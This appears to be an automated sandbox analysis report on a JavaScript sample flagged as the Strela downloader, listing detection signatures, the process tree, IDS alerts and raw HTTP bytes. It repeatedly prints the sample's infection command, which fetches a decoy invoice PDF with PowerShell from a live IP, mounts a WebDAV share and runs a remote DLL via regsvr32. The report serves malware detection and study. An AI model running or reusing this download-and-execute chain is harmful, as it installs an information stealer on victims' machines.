Edit tour

Windows Analysis Report
1110167182254330320.js

Overview

General Information

Sample name:	1110167182254330320.js
Analysis ID:	1589049
MD5:	aca149ca95348a23a05a501d6eea015a
SHA1:	9bf8b154074946956b9fbd1ffbd41163c23d39ed
SHA256:	56fd1a4e1939b5da763ebf8fcca691bd132fac4c011fef6778d5387cc43f5f17
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7412 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7608 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7776 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1744,i,13194885931791499067,8970318220075079134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8096 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8136 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5760 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7412	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7608, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7608, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", ProcessId: 7412, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8136, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49716

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7412, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7412, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7412, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7412, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7412, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, ProcessId: 7608, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", ProcessId: 7412, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7608, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7776, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8136, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5760, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8136, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7412, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll, ProcessId: 7608, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:50:43.361178+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:50:46.051483+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49716	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:50:43.361178+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1110167182254330320.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1110167182254330320.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1110167182254330320.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49716 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:50:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

